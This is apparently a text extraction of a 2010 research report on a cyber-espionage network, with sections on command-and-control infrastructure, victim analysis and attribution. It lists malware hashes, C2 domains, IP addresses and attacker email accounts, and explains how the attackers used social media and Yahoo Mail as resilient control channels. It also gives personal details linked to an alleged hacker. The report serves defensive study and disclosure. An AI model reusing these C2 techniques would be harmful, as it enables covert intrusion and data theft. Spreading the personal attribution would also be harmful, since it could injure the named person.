JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 19 Table 3: Malware Connecting to Yahoo Mail Accounts Filename setup.exe MD5 7e2e37c78bc594342e498d6299c19158 C2 sonamtenphelyahoo.com C2 www.indexindian.com Download sites.google.com/site/wwwfox99/Home/ Filename 20090930165916978 MD5 abef3f0396688bfca790f8bbedac3e0d C2 zhengwaiyahoo.com Although the second binary failed to connect to a web-based command and control server, a memory dump revealed three additional email adresses (wwwfoxperteryahoo.com, swwwfoxyahoo.in and ctliliwoy5 yahoo.com) as well as the well known domain name www.indexindian.com and the URL of another malicious binary hosted on sites.google.com/site/wwwfox99/.
This malware sample connected to a command and control server and downloaded additional components (docBack.gif, nscthttp.gif, top.gif, tor.gif) that allowed it to connect to the Tor anonymity network.
The reason behind the attackers integration of Tor into their malware remains unclear.
Table 4: Malware with Tor Filename 20091221165850243 MD5 2ca46bcdfda08adc94ab41d3ed049ab6 C2 cxingpeng.byethost9.com Tor (www.torproject.org) is an anonymity system that defends users from traffic analysis attacks in which attackers attempt to monitor users online behaviour.
Tor is used by journalists, human rights advocates, and those in locations that are subject to Internet censorship.
It is also used by law enforcement and many others who require anonymity.
In 2007, a computer security researcher, Dan Egerstad collected data and email login credentials for a variety of embassies around the world by monitoring the traffic exiting from Tor exit nodes, an anonymous communications network.
He was able to obtain user names and passwords for a variety of email accounts, and recovered data associ- ated with the Dalai Lamas office as well as Indias Defence Research and Development Organization (Zetter 2007a).
Tor does not automatically encrypt everything that a user does online.
Unless the end-point of a connection is encrypted, the data passing through an exit node in the Tor network will be in plain text.
Since anyone can operate a Tor exit node, it is possible for a malicious user to intercept the plain text communications passing through it.
However, Egerstad believes that the entities whose credentials and data he was able to collect were not using Tor themselves.
Rather, he concluded that attackers may have been using the Tor network as a mechanism to exfiltrate data: The embassy employees were likely not using Tor nor even knew what Tor was.
Instead, we suspected that the traffic he sniffed belonged to someone who had hacked the accounts and was eavesdropping on them via the Tor network.
As the hacked data passed through Egerstads Tor exit nodes, he was able to read it as well (Zetter 2007b).
JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 20 Table 5: Enfal Filename 20090924152410520 MD5 9f0b3d0672425081cb7a988691535cbf C2 www.indexnews.org On one of the command and control severs, we also discovered that the attackers were using Enfal, a well known Trojan.
The malware connected to www.indexnews.org and requested the following file paths: /cgi-bin/ Owpq4.cgi and /httpdocs/mm/[HOSTNAME]_20090610/Cmwhite.
We explore the broader connections and significance of use of Enfal in section 3.3.1 below.
3.3 Command and Control Infrastructure Figure 3: The Shadow Networks Command and Control Infrastructure This Palantir screen capture demonstrates the integration of social networking and blogging platforms (green), domain names (blue) and web servers (red).
JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 21 The attackers command and control infrastructure consists of three interrelated components.
The first component consists of intermediaries that simply contain links, which can be updated, to command and control servers.
During our investigation we found that such intermediaries included Twitter, Google Groups, Blogspot, Baidu Blogs, and blog.com.
The attackers also used Yahoo Mail accounts as a command and control component in order to send new malicious binaries to compromised computers.
On at least one occasion the attackers also used Google Pages to host malware.
To be clear, the attackers were misusing these systems, not exploiting any vulnerability in these platforms.
In total, we found three Twitter accounts, five Yahoo Mail accounts, twelve Google Groups, eight Blogspot blogs, nine Baidu blogs, one Google Sites and sixteen blogs on blog.com that were being used as part of the attackers infrastructure.
The attackers simply created accounts on these services and used them as a mechanism to update compromised computers with new command and control server informa- tion.
Even a vigilant network administrator looking for rogue connections exiting the network may overlook such connections as they are routine and generally considered to be safe web sites.
The use of social network- ing platforms, blogs and other services offered by trusted companies allows the attackers to maintain control of compromised computers even if direct connections to the command and control servers are blocked at the firewall level.
The compromised computers can simply be updated through these unblocked intermediaries to point to a new, as yet unknown, control server.
Such techniques are not new per se, and nothing in and of itself was invented by the Shadow attackers that had not been done before (See Box 3).
Rather, the attackers are learning from the experiences of others and adapting the techniques to meet their needs.
By using these kind of intermediaries and platforms, the attackers are able to conceal their activities and maintain a resilient command and control infrastructure.
In the Shadow case, the attackers did not rely on only one social networking, cloud computing or Web 2.0 service, but rather used a variety of such services in combination with one another.
Box 3: Social Network Sites as Control Channels for Malware Networks The use of social networking sites as elements of command and control for malware networks is not novel.
The attackers leverage the normal operation of these systems in order to maintain control over compromised system.
In 2009, researchers found that Twitter, Jaiku, Tumblr, Google Groups, Google AppEngine and Facebook had all been used as the command and control structure for malware.
In August 2009, Arbor Networks Jose Nazario found that Twitter was being used as a command and control component for a malware network.
In this case, the malware was an information stealer focused on extracting banking credentials from compromised computers located mostly in Brazil.
Twitter was not the only channel being used by the attackers.
They also used accounts on Jaiku and Tumblr (Nazario 2009a).
Furthermore, Arbor Networks found another instance of malware that used the Google AppEngine to deliver malicious URLs to compromised computers (Nazario 2009b).
The Unmask Parasites blog found that obfuscated scripts embedded in compromised web sites used the Twitter API to obscure their activities.
While the method was clever, the code was unreliable and appeared to have been abandoned by the attackers (Unmask Parasites 2009).
Symantec found that Google Groups were being used as command and control for another instance of malware.
In this case, a private Google group was used by the attackers to send commands to compromised computers which then uploaded their responses to the same Group (Symantec 2009a) Symantec also found an instance of malware that used Facebook status messages as a mechanism of command and control.
(
Symantec 2009b).
The use of these social networking and Web 2.0 tools allows the attackers to leverage the normal operation of these tools to obscure the command and control functions of malware.
One platform leveraged by the attackers in particularly interesting ways was the webmail service provided by Yahoo.
We discovered five Yahoo Mail accounts being used by the attackers as a component of command and control.
Once a computer was compromised, the malware connected to the Yahoo Mail accounts using Yahoos API and created a unique folder in the Inbox of the mail account, into which an email was inserted containing the computers name, operating system and IP address.
The attacker would then send an email to the account containing a command or a command along with additional malware as an attachment.
The next time that a JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 22 compromised computer checks in with the email account, it then downloads and executes the malicious attach- ment.
Upon execution, the compromised computer placed an acknowledgement mail in the Yahoo Mail Inbox.
The email addresses used by the attackers were: zhengwaiyahoo.com wwwfoxperteryahoo.com swwwfoxyahoo.in ctliliwoy5yahoo.com sonamtenphelyahoo.com The attackers used these Yahoo Mail accounts as command and control in conjunction with traditional mecha- nisms, such as HTTP connections to web servers.
Therefore, even if the traditional web-based command and control channels were shut down the attacker could retain control using the Yahoo Mail mechanism.
Moreover, the web-based component of command and control was also resilient.
We found that command and control servers were being operated on free hosting sites and on free domain providers such co.tv and net.ru.
We found command and control servers on the following free web hosting providers: byethost9.com 6te.net justfree.com sqweebs.com yourfreehosting.net kilu.de 5gighost.com hostaim.com 5webs.net 55fast.com surge8.com In addition we found servers on free domains provided by co.tv and net.ru.
All of the IP addresses to which the sub-domains of these control servers resolve are in the United States, with the exception of one that is hosted in Germany.
The command and control servers on free hosting are: changemore.hostaim.com choesang.5gighost.com freegate.kilu.de freesp.6te.net hardso.yourfreehosting.net scjoinsign.sqweebs.com tshkung01.justfree.com www.99fm.co.tv www.j5yr.co.tv zcagua.6te.net cxingpeng.byethost9.com lobsang.net.ru freesp.55fast.com JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 23 iloveusy.justfree.com zenob.surge8.com bigmouse.5webs.net As some of the free hosting accounts became unavailable, the attackers modified blog posts on the interme- diaries to point to new command and control servers, most often to servers that appear to be the core of the network.
The core command and control servers reside on domain names that appear to be registered by the attackers themselves and on dedicated servers.
These control servers are: c2etejs.com erneex.com idefesvn.com jdusnemsaz.com peose.com indexnews.org lookbytheway.net microsoftnews.net tibetcommunication.com intoplink.com indexindian.com All of these domain names are hosted in the PRC.
The first group of domain names (c2etejs.com, erneex.com, idefesvn.com, jdusnemsaz.com, peose.com) were all hosted on the same IP address   119.84.4.43  but moved to another IP address   210.51.7.155  which is associated with the more well known domain names indexindian.com and tibetcommunication.com.
The domains indexnews.org and lookbytheway.net are on 61.188.87.27, microsoftnews.net is on 61.188.87.79, and intoplink.com is on 60.160.182.113.
The domains indexindian.com, indexnews.org and lookbytheway.net are well known malware domain names associated with more than one instance of malware.
3.3.1 Malware Connections: Enfal One of our objectives in this report was to explore the broader ecosystem of malware.
While analysis of individual attacks may yield interesting data, a broader understanding of connections between malware networks allows us to better understand the methods, targets and capabilities of the attackers.
Based on the malware tools and command and control infrastructure collected as part of the Shadows in the Cloud investigation we were able to draw connections between the Shadow network and at least two other, possibly affiliated, malware networks.
When grouping malware networks together we interpret relationships between the command and control infrastructures, characteristics of the malware, attack vectors and exploits used, and any identifying information left behind by the attackers.
This allows us to track the activities of similar yet distinct groups of attackers over time.
More importantly, this historical perspective allows us to apply a granular level of analysis when inves- tigating attacks, rather than simply grouping attackers and malware together by the country of origin.
When grouping malware we focus on: IP address relationships - the historical relationship between command and control domains that resolve to same IP addresses over time.
JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 24 Malware connection relationships - malware found on one command and control server that connects to a different command and control server.
Malware file path relationships - the presence of distinctive file paths on multiple command and control servers.
There are limitations to this approach.
For example, multiple attackers could operate on a common infrastruc- ture, perhaps supplied by a group that specialises in malicious hosting or selling registered domain names to be used as command and control servers.
Different groups of attackers could use the same, or very similar, malware.
However, when the malware is not publicly available or for sale, its use remains limited.
During the Shadow investigation we found the Enfal trojan among the instances of malware used by the at- tackers.
The Enfal trojan is not widely available and appears to be in use by affiliated malware networks that sometimes share a common command and control infrastructure.
In fact, domain names that have been used as Enfal command and control servers by separate, but possibly affiliated, attackers  assam2008.net, msnxy.net, sysroots.net, womanld.com, womannana.com, lookbyturns.
com, macfeeresponse.com and macfeeresponse.org  have now been incorporated into our sinkhole project.
This allows us to observe compromised computers that are still checking in with the command and control servers as well as the file paths being requested.
In some cases, we can obtain the names of documents lo- cated on the compromised computers.
These domain names are associated with Enfal and can also be linked to the active command and control servers in the Shadow network through common command and control server IP addresses.
Another group of attackers that also used the Enfal trojan were documented in 2008 by Maarten Van Horenbeeck.
He published information concerning his investigation into the targeted malware attacks which included the use of the Enfal Trojan dating back to 2007.
Van Horenbeeck systematically documented a series of targeted attacks and clearly articulated the methodology of the attackers, one of which is now commonplace.
The attackers leverage social engineering tactics to entice the target into clicking on a malicious link or email attachment.
The malware then exploits a vulnerability in the users client side software, such as a browser, Microsoft Word, Adobe Reader and so on, and begins communicating with a command and control server.
Enfal is recognisable due to the consistent filenames the malware requests from the command and control server, most notably /cgi-bin/owpq4.cgi.
Van Horenbeeck identified domain names used by Enfal, .bluewinnt.
com and .ggsddup.com, which are still in use today (Van Horenbeeck 2008a Van Horenbeeck 2008b Van Horenbeeck 2007).
While we were unable to find any instances of common command and control infrastructure between the Enfal network that Van Horenbeeck documented, the methods and tools of these attackers and the Shadow network are very similar.
The common use of the Enfal Trojan suggests that the attackers may be exchanging tools and techniques.
The profile of the victims from two separate Enfal-based networks in our DNS sinkhole suggest that the attackers have an interest in compromising similar sets of targets.
Finally, the failed DNS resolution for www.assam2008.net found on a computer at the OHHDL also compromised by the Shadow network indicates a possibly closer connection, or that they at least have both common tools and target sets.
PART 4: Targets and Effects JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 26 4.1 Compromised Victims: The Evidence Mistakes on the part of the attackers allowed us to view the attackers list of victims at four command and control locations.
In addition, we were able to recover exfiltrated data from two locations.
This provided us with a snapshot of the computers that have been compromised by the attacks.
Thus, this is not a complete list of all those compromised by this attacker.
Rather, it is simply those checking in with or uploading data to the portions of the network that we were able to view.
Moreover, there was considerable overlap between different methods of command and control, with individual computers checking in at multiple locations.
Therefore, we do not have consistent data across all compromised computers.
There are two categories of victims: those for whom we only have technical identifying information, such as IP addresses and those from whom we have recovered exfiltrated data but for whom we do not have IP addresses.
In cases where we do not have IP addresses, the identity of the victim is determined from the contextual information found within the exfiltrated data itself.
We obtained information on victims from: a web-based interface that lists cursory information on compromised computers located on one command and control server text files in web-accessible directories on three command and control servers that list detailed information on compromised computers information obtained from email accounts used for command and control of compromised computers information obtained from one command and control server from which we retrieved exfiltrated documents (but not necessarily technical identifying information) information obtained from our DNS sinkhole.
The primary method of identification used in this section is based upon the IP address of the compromised computer.
We looked up the associated IP address in all five Regional Internet Registries (RiR) in order to iden- tify the country and network to which the IP address is assigned.
We then performed a reverse Domain Name System (DNS) look-up on each IP address.
DNS is the system that translates domain names into IP addresses reverse DNS is a system that translates an IP address into a domain name.
This can potentially provide ad- ditional information about the entity that has been assigned a particular IP address.
If we discovered a domain name, we then looked up its registration in WHOIS, which is a public database of all domain name registrations and provides information about who registered the domain name.
It was possible to identify the geographic location of the compromised computer at the country level as well as the network to which the IP address was assigned.
However, in most cases there was little information in the RiRs pertaining to the exact identity of the compromised entity.
Where possible, we note the entity identified by data obtained from the RiRs.
The following list of compromised computers was generated by parsing information from unique victims, not solely IP addresses.
The attackers assign the compromised computer a name based on the host name of the com- puter, which allows us to identify unique victims rather than relying only on IP addresses.
In fact, several of the unique victims have multiple IP addresses associated with them, sometimes spanning multiple countries.
Here we have generated a geographic breakdown based on the first IP addresses recorded for each compromised computer.
JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 27 Figure 4: Locations of Compromised Computers in the Shadow Network While there is considerable geographic diversity, there is a high concentration of compromised computers located in India.
However, we were only able to identify two of the compromised entities: Embassy of India, United States Embassy of Pakistan, United States 4.1.1 Sinkhole A DNS sinkhole server is a system that is designed to take requests from a botnet or infected systems and record the incoming information.
The sinkhole server is not under the control of the malware authors and can be used to gain an understanding of a botnets operation.
There are a few different techiques that are used to sinkhole botnet traffic.
The easiest method is to simply register an expired domain that was previously used to control victim systems.
Being able to do this generally indicates the botnet operator has lost control of the domain, for- gotten to renew it, or that the botnet has been abandoned.
Another method focuses on reverse-engineering the malware to determine if it has fail over command and control servers or special methods to compute future domains.
This may require that a domain name generation algorithm be discovered and that one must register the domain names before the attacker does (Stone-Gross et al.
2009).
During the GhostNet investigation we found that a computer at the OHHDL was compromised by both the GhostNet and what we are now calling the Shadow network.
We had a list of serveral domains that were expiring that we had linked to attacks against OHHDL.
We were able to register several of these domain names in order to gather information about the networks command and control infrastructure, communication methods, JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 28 and victim systems.
We were able to register and monitor four of the domain names mentioned in Tracking GhostNet.
In addition, we were able to register several others which we linked to the Shadow network along with one, www.assam2008.net, which we believe to be yet another separate, but possibly affiliated, network.
www.assam2008.net www.msnxy.net www.sysroots.net www.womanld.com www.womannana.com www.lookbyturns.com www.macfeeresponse.com www.macfeeresponse.org We were able to observe the file paths associated with malware that were requested by compromised comput- ers.
In total, we found that during this period 6,902 unique IPs requested paths associated with the malware that used these hosts as command and control servers.
However, counting the number of infected hosts purely by IP addresses is problematic.
In fact, botnets are generally much smaller than the total sum of unique IP addresses would suggest (Stone-Gross et al.
2009 Rajab et al.
2007).
This network, which is focused on stealing documents from specific targets, is expected to be small in size.
Figure 5: Relationship between the DNS Sinkhole and Live Command and Control Servers This Palantir screen shot captures the relationship between the domain names in our sinkhole (green), the web servers they were formerly hosted on (red) and the Shadow networks active domain names (blue).
JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 29 What is more notable is the distribution of compromised computers across countries.
Figure 6: Locations of Compromised Computers in our Sinkhole From the recovered IP addresses we were able to identify the following entities of interest: Honeywell, United States New York University, United States University of Western Ontario, Canada High Commission of India, United Kingdom Vytautas Magnus University, Lithuania Kaunas University of Technology, Lithuania National Informatics Centre, India New Delhi Railway station (railnet.gov.in), India Times of India  , India Petro IT, (reserved123.petroitg.com), India Federation of Indian Chambers of Commerce and Industry, India Commission for Science and Technology for Sustainable Development in the South, Pakistan JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 30 4.2  Victim Analysis on the Basis of Recovered Documents In total we recovered data from 44 compromised computers.
The documents recovered from the OHHDL were reconstructed from captured network traffic, while the remainder were retrieved from an open directory on one command and control server.
Only seven of the remaining 43 compromised computers (not counting the OHHDL computer) for which we were able to recover exfiltrated data also checked in with the same control server.
Therefore we can only identify the IP addresses of these seven computers.
Five of these seven computers have IP addresses that are assigned to India, while the remaining two are assigned to Thailand and the PRC.
As noted below, the Chinese IP address represents the attacks on IP addresses along with two test (junk) text files that appear to have been used for testing the malware.
We determined the country and entity from which the documents were exfiltrated based on the content of the documents themselves in cases where we did not obtain an IP address.
In addition, we assigned two country codes to the compromised computers: one country code indicates the physical (IP) country in which the com- puter is located, and the second country code indicates the country of ownership.
Thus a compromised com- puter at a foreign embassy would be assigned a country code based on its geographical region, and a second based on the home country to which the foreign mission belongs.
Based on geographic location, the vast majority are in India.
Figure 7: Locations of Compromised Computers from which Documents were Exfiltrated JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 31 Based on the country of ownership, the results show an even higher number for India.
Figure 8: Locations of Ownership of Exfiltrated Documents JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 32 4.3  Geographic Victim Distribution Figure 9: Geographic distribution of compromised hosts 4.3.1 Targets Diplomatic Missions and Government Entities Diplomatic missions and government entities exchange sensitive information, which sometimes finds its way onto unclassified systems.
During our investigation, we recovered documents that are extremely sensi- tive from a national security perspective as well as documents that contain sensitive information that could be exploited by an adversary for intelligence purposes.
We recovered one document that appears to be an encrypted diplomatic correspondence, two documents classified as SECRET, six as RESTRICTED, and five as CONFIDENTIAL.
These documents contain sensitive information taken from a member of the National Security Council Secretariat concerning secret assessments of Indias security situation in the states of Assam, Manipur, Nagaland and Tripura, as well as concerning the Naxalites and Maoists.
In addition, they contain confidential information taken from Indian embassies regarding Indias international relations with and assess- ments of activities in West Africa, Russia/Commonwealth of Independent States and the Middle East, as well as visa applications, passport office circulars and diplomatic correspondence.
The attackers also exfiltrated detailed This screen capture of Palantirs heatmap application demonstrates the concentrations of (non-unique) IP addresses of compromised hosts.
The largest concentration (red) is in India.
JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 33 personal information regarding a member of the Directorate General of Military Intelligence.
These compromises and the character of the data exfiltrated extends to non-governmental targets as well.
Some of the academics and journalists that were compromised were interested in and regularly reporting on sensitive topics such as Jammu and Kashmir.
National Security and Defence During our investigations we suspected that a variety of military computers had been compromised as well as the computers of defence-oriented academics and journals.
While none of the information obtained was classi- fied, the documents we recovered reveal information regarding sensitive topics.
Although there is public infor- mation available on these miltary projects, it indicates that the attackers managed to compromise the right set of individuals that may have knowledge of these systems that is not publicly known.
We recovered documents and presentations relating to the following projects: Pechora Missile System - an anti-aircraft surface-to-air missile system.
Iron Dome Missile System - a mobile missile defence system (Ratzlav-Katz 2010).
Project Shakti - an artillery combat command and control system (Frontier India 2009).
We also found that documents relating to network centricity (SPs Land Forces 2008) and network-centric warfare had been exfiltrated, along with documents detailing plans for intelligence fusion and technologies for monitoring and analysing network data (Defence Research and Development Organisation 2009).
Academics/Journalists focused on the PRC During our investigations we found that a variety of academic targets had been compromised, including those at the Institute for Defence Studies and Analyses (IDSA) as well as journalists at India Strategic defence magazine and FORCE magazine.
The exfiltrated papers included those discussing the containment of the PRC, Chinese military exports, and Chinese foreign policy on Taiwan and Sino-Indian relations.
More specifically, there were documents that focused on ethnicity, religion and politics in Central Asia, and the links between armed groups and the PRC.
Although the academic papers exfiltrated by the attackers are publicly available, the content of the material indicates that the attackers managed to compromise those with a keen interest in the PRC.
4.3.2 Affected Institutions During our investigations we found that a variety of personal information belonging to individuals had been compromised.
This included various lists of contacts along with their personal details that could be used by the attackers.
It also included information about travel, including air and rail tickets, receipts, invoices and other billing information.
In addition we found personal banking information, scans of identification documents, job (and other) applications, legal documents and information about ongoing court cases.
The attackers also exfiltrated personal email communications.
All of this information can be leveraged for future attacks, especially attacks against those within the compromised individuals social network.
National Security Council Secretariat, India The National Security Council Secretariat (NSCS) of India is comprised of the Joint Intelligence Committee and is a component of the National Security Council established in 1998 along with a Strategic Policy Group and an Advisory Board.
The National Security Council is headed by the Prime Minister of India and is responsible for strategic planning in the area of national security (Subrahmanyam 2010 Indian Embassy 1998).
We assess that a computer at the NSCS was compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, fourteen documents, including two docu- ments marked SECRET, were exfiltrated.
In addition to documents containing the personal and financial JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 34 information of what appears to be the compromised individual, the exfiltrated documents focus on Indias security situation in the states of Assam, Manipur, Nagaland and Tripura as well as the Naxalites, Maoists, and what is referred to as left wing extremism.
Diplomatic Missions, India India maintains numerous diplomatic missions abroad that provide consular services relating to passports and visas as well as faciltaing trade, commerce and engaging in diplomatic relations (Indian government 2010).
We assess that computers at the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, 99 documents, including what appears to be one encrypted diplomatic correspondence as well as five docu- ments marked RESTRICTED and four documents marked CONFIDENTIAL, were exfiltrated.
In addition to documents containing personal, financial, and travel information on embassy and diplomatic staff, the exfiltrated documents included numerous visa applications, passport office circulars, and country assess- ments and reports.
Confidential visa applications from citizens of Afghanistan, Australia, Canada, the PRC, Croatia, Denmark, Germany, India, Ireland, Italy, New Zealand, Philippines, Senegal, Switzerland, Uganda, and the United Kingdom were among the exfiltrated documents.
Military Engineer Services, India The Military Engineer Services (MES) is a government construction agency that provides services to the Indian Army, Navy and Air Force.
In addition, the MES services the government sector and civil works projects.
We assess that computers at the MES-Bengdubi, MES-Kolkata, MES(AF)-Bangalore, and MES-Jalandhar were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, 78 documents were exfiltrated.
While these documents included manuals and forms that would not be considered sensitive, they also included documents that contained private information on personnel, and documents and presentations concerning the financing and scheduling of specific engineering projects.
Military Personnel, India We assess that computers linked with the 21 Mountain Artillery Brigade in the state of Assam, the Air Force Station, Race Course, New Delhi and the Air Force Station, Darjipura Vadodara, Gujarat were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, sixteen documents were exfiltrated.
One document contained personal information on Saikorian alumni of the Sainik School, Korukonda, which prepares students for entry into the National Defence Academy.
One document is a detailed briefing on a live fire exercise while others pertain to surface-to-air missile systems and moving target indicators.
Military Educational Institutions, Indi  a We assess that computers at the Army Institute of Technology in Pune, Maharashtra and the Military College of Electronics and Mechanical Engineering in Secunderabad, Andhra Pradesh were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, twenty- one documents, including one marked RESTRICTED, were exfiltrated.
There are documents and presenta- tions detailing the finances of one of the institutions as well as personal and private information on students and their travel.
There is also a document that describes Project Shakti, the Indian Armys command and control system for artillery (India Defence 2007).
Institute for Defence Studies and Analyses, India We assess that computers at the Institute for Defence Studies and Analyses (IDSA) were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, 187 documents were exfiltrated.
While many of the documents were published papers from a variety of academic sources, there were internal documents, such as an overview of the IDSA research agenda, minutes of JR03-2010  Shadows in the Cloud - PART 4: TARGETS  EFFECTS 35 meetings for the Journal of Defence Studies, budgets and information on a variety of speakers, visitors, and conference participants.
Defence-oriented publications, India We assess that computers at the India Strategic defence magazine and FORCE magazine were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, 58 documents were exfiltrated.
While these documents include publicly accessible articles and previous drafts of those articles, there is also private information regarding the contact details of subscribers and con- ference participants.
The documents also include interviews, documents, and PowerPoint presentations from conferences that detail national security topics, such as network data and monitoring for national security, and responses to combat cyber threats.
Corporations, India We assess that computers at YKK India Private Limited, DLF Limited, and TATA were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, five documents were exfiltrated.
These documents include rules overseeing busiiness travel, a presentation on roadmap and financial status, and an annual plan for a business partnership.
Maritime, India We assess that computers at the National Maritime Foundation and the Gujarat Chemical Port Terminal Company Limited were compromised based on the documents exfiltrated by the attackers.
During the period in which we monitored the attackers, 53 documents were exfiltrated.
These documents include a summary of a seminar as well as numerous documents relating to specific shipping schedules, financial matters and personal medical information.
United Nations The United Nations Economic and Social Commission for Asia and the Pacific (UNESCAP) is based in Thailand and facilitates development in the Asia-Pacific region.
We assess that a computer at UNESCAP has been compromised based on the documents exfiltrated by the attackers.
In addition to information concern- ing a variety of conferences and presentations, there were also internal Mission Report documents regarding travel and events in the region.
PART 5: Tackling Cyber Espionage JR03-2010  Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 37 5.1 Attribution and Cyber Crime / Cyber Espionage During this investigation we collected malware samples used by the attackers, which were primarily PDFs that exploited vulnerabilities in Adobe Acrobat and Adobe Reader.
In addition, we collected malware used by the at- tackers after successfully compromising a targeted system as well as network traffic captured from the OHHDL.
We were able to map out the command and control infrastructure of the attackers and in several cases view data that allowed us to identify targets that had been compromised and recover exfiltrated documents.
We did not have access to data regarding specific attacks on any of the targets we have identified.
In other words, we cannot definitely tell how any one individual target was compromised.
And, more importantly, we do not have data regarding the behaviour of the attackers once inside the targets network.
However, we do have two key pieces of information: the first is an email address used in a document in the attackers possession that provided steps on how the attackers could use Yahoo Mail as a command and control server the second is the IP addresses used by the attackers to send emails from Yahoo Mail accounts used as command and control servers.
Email addresses used by the attackers have proven to provide critical clues in past investigations.
Following the release of the GhostNet investigation, The Dark Visitor  a blog that researches Chinese hacking activities investigated one of the email addresses we published that was used to register the domain names the attackers utilized as command and control servers.
While these were not GhostNet domain names, one of them is the same as one used by the attackers in this investigation: lookbytheway.net (Henderson 2009a).
The email address used to register lookbytheway.net is losttemp33hotmail.com.
The Dark Visitor found forum posts made by losttemp33hotmail.com, who also used the alias lost33.
Further searching revealed an individual who was associated with Xfocus, Isbase, two popular Chinese hacking forums, and seems to have studied under Glacier (Henderson 2009b).
Glacier is known as Godfather of the Chinese Trojan (Henderson 2007a), and an association with him indicates lost33s connections to the hacking underground in the PRC.
Using information found on lost33s blog, The Dark Visitor was able to find another blog used by lost33, now operating under the alias damnfootman, and had a text chat conversation with him on the Chinese instant messenger service QQ, where the individual admitted to being the owner of the email address losttemp33hotmail.com.
From this information, The Dark Visitor was able to determine this individual has connections to the forums of Xfocus and Isbase (the Green Army), NSfocus and Eviloctal, as well as connections to the hackers Glacier and Sunwear.
He was born on July 24, 1982, lives in Chengdu, Sichuan, and attended the University of Electronic Science and Technology of China, which is also located in Chengdu.
Our investigation also indicated strong links to Chengdu, Sichuan.
The attacker used Yahoo Mail accounts as com- mand and control servers, from which the attacker sent emails containing new malware to the already compromised targets.
All of the IP addresses the attacker used when sending these emails are located in Chengdu, Sichuan.
We were able to retrieve a document from the attackers that indicated the steps neccessary to use Yahoo Mail accounts as command and control servers.
There was also an account used by the attackers in this document for testing purposes.
Searches for this email address returned several advertisements for apartment rentals in Chengdu, Sichuan.
JR03-2010  Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 38 The infrastructure of this particular network is tied to individuals in Chengdu, Sichuan.
At least one of these in- dividuals has ties to the underground hacking community in the PRC and to the University of Electronic Science and Technology of China in Chengdu.
Interestingly, when the Honker Union of China, one of the largest hack- ing groups in the PRC, was re-established in 2005, its new leader was a student at the University of Electronic Science and Technology in Chengdu.
Chengdu is also the location of one of the Peoples Liberation Army (PLA)s technical reconnaissance bureaus tasked with signals intelligence collection.
While it would be disin- genuous to ignore these correlations entirely, they are loose at best and certainly do not meet the requirements of determining motivation and attribution.
However, the links between the command and control infrastructure and individuals in the PRC provide a variety of scenarios that point toward attribution.
5.1.2 Patriotic Hacking The PRC has a vibrant hacker community that has been tied to targeted attacks in the past, and has been linked through informal channels to elements of the Chinese state, although the nature and extent of the connections remains unclear.
One common theme regarding attribution relating to attacks emerging from the PRC concerns variations of a privateering model, in which the state authorizes private persons to perform attacks against enemies of the state.
This model emerged because studies have shown that there is no direct government con- trol over the loosely connected groups of hackers in the PRC (Henderson 2007b).
Even within the privateering approach there is much dispute regarding the exact relationship.
The degrees of the reported relationship vary between authorize to tacit consent to tolerate (Henderson 2007b).
However, this ambiguous relationship does not mean that there is no connection between the activities of Chinese hackers and the state.
The PRCs intelligence collection is based on the gathering of bits of information across a broad range of sources: China relies on a broad informal network of students, tourists, teachers, and foreign workers inside of host nations to collect small bits of information to form a composite picture of the environment.
Rather than set a targeted goal for collection, they instead rely on sheer weight of information to form a clear understanding of the situation.
(
Henderson 2007b) As a result, information that is independently obtained by the Chinese hacker community is likely to find its way to elements within the Chinese state.
However, the Chinese state is not monolithic.
It is a complex entity that includes cooperation and competition amoung a variety of entities, including the Communist Party, the PLA and the Government of China.
In addition, within each of those entities there are factions and rivalries.
Further complicating matters is that there are reported relationships between the edges of the government and networks of organized crime in the PRC, as in many other countries (Bakken 2005 Keith and Lin 2005).
These complex relationships further complicate our understanding of the connections between the Chinese hacker community and the Chinese state.
While the PLA is developing computer network operations (CNO), as are the armed forces of a wide variety of countries, its relationship with the hacker community appears to be minimal, as a recent study reports: Little evidence exists in open sources to establish firm ties between the PLA and Chinas hacker community, however, research did uncover limited cases of apparent collaboration between more elite individual hackers and the PRCs civilian security services.
The caveat to this is that amplifying details are extremely limited and these relationships are difficult to corroborate.
(
Northrop Grumman 2009) JR03-2010  Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 39 Moreover, the same study found that there is nothing that suggests that the PLA or state security bureaus intend to use hacktivist attacks as a component of a CNO campaign (Northrop Grumman 2009).
In addition, there are a variety of factors, such as the lack of command and control, precision targeting and the inability to maintain surprise and deception, that argue against the use of non-state hackers as part of the PLAs CNO strategy.
In fact, the relations between the hacker community and the state is more likely to be a concern of the Ministry of Public Security (Northrop Grumman 2009 Henderson 2007b).
Interestingly, the Ministry of Public Security has focused primarily on internal security matters, which links with the emphasis on the Tibet-related targets documented in this report.
(
the PRC views Tibet as an internal problem.)
